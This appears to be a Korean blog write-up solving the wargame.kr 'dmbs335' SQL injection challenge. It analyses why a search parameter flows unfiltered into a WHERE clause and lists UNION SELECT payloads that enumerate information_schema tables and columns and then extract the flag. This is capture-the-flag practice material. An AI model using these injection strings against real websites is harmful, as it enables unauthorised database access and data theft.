Question 18. dmbs 355
문제
SQL injection Challenge! (injection)
- thx to dmbs335
풀이
문제 접근 시 내용이 담겨져 있는 표와 원하는 값을 찾을 수 있는 검색창 그리고 source를 볼수있는 링크가 제공된다.
소스코드를 분석해보면 SQL Injection 취약점이 있는걸 확인할 수 있는데 이유는 이러하다.
1) 입력 가능 변수는 $where_clause, $cols, $query_parts, $search_cols, $keyword, $operator
2) $sol 의 값이 지정된 값(subject, content, writer)이 아니면 빈 문자열을 반환한다.
3) 값이 있다면 $query_parts 가 정상 작동 값이 없다면 if($col) 구문을 스킵.
4) if($col)이 실행되지 않으면 $query_parts 에 입력한 값이 $where_clause로 적용됨
5) 66번줄 {$where_clause} -> {$query_parts} 로 적용되며 where 문에 SQL Injection이 가능함.
즉 $col에 지정된 값 (subject, content, writer) 을 제외하고 $query_parts=’sql injection’ 을 진행시 66번줄의 select * from board where {$query_parts=’sql injection’} order by idx desc 의 형식으로 mysql_query가 적용이 가능하다.
search_cols=a&query_parts=0 union select 1,2,3,4 #
해당 문제는 get_method 방식을 지원함으로 URL 뒤에 해당 변수값을 입력하니 성공적으로 column수가 확인되었다. 이어서 DB 정보들을 획득해보자.
search_cols=a&query_parts=0 union select 1,2,table_name,4 from information_schema.tables #
테이블들의 정보를 출력한다 Th1s_1s_Flag_tbl 이라는 테이블이 수상하다 기억해두자.
search_cols=a&query_parts=0 union select 1,2,column_name,4 from information_schema.columns #
이번엔 컬럼들의 정보를 출력한다, f1ag 컬럼이 있는걸 확인할 수 있다.
search_cols=a&query_parts=0 union select 1,2,f1ag,4 from Th1s_1s_Flag_tbl #
성공적으로 플래그를 얻을 수 있고 제출하면 문제를 통과할 수 있다.
'Hacking > wargame.kr' 카테고리의 다른 글
[wargame.kr] Question 20. counting query (0) | 2021.07.19 |
---|---|
[wargame.kr] Question 19. QnA (0) | 2021.07.19 |
[wargame.kr] Question 17. lonely guys (0) | 2021.07.19 |
[wargame.kr] Question 16. ip log table (0) | 2021.07.19 |
[wargame.kr] Question 15. Simple Board (0) | 2021.07.19 |